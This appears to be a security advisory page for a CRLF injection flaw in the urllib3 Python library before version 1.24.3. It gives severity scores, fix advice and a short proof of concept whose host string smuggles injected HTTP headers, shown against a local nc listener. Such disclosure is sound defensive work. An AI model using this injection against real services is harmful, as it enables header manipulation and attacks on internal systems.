CRLF injection Affecting urllib3 package, versions [,1.24.3)



    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Mature
    EPSS 0.43% (75th percentile)
Expand this section
6.1 medium
Expand this section
6.1 medium
Expand this section
Red Hat
6.5 medium

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-URLLIB3-174323
  • published 18 Apr 2019
  • disclosed 15 Apr 2019
  • credit ragdoll

How to fix?

Upgrade urllib3 to version 1.24.3 or higher.


urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to CRLF injection. Attacker who has the control of the requesting address parameter, could manipulate an HTTP header and attack an internal service.


by ragdoll and Alvin Chang

import urllib3

pool_manager = urllib3.PoolManager()

host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123" url = "http://" + host + ":8080/test/?test=a"

try: info = pool_manager.request('GET', url).info() print(info) except Exception: pass

nc -l localhost 7777

GET /?a=1 HTTP/1.1 X-injected: header TEST: 123:8080/test/?test=a HTTP/1.1 Host: localhost:7777 Accept-Encoding: identity

The nc server will display the HTTP request with a manipulated header content: X-injected:header, indicating a successful injection of the HTTP header.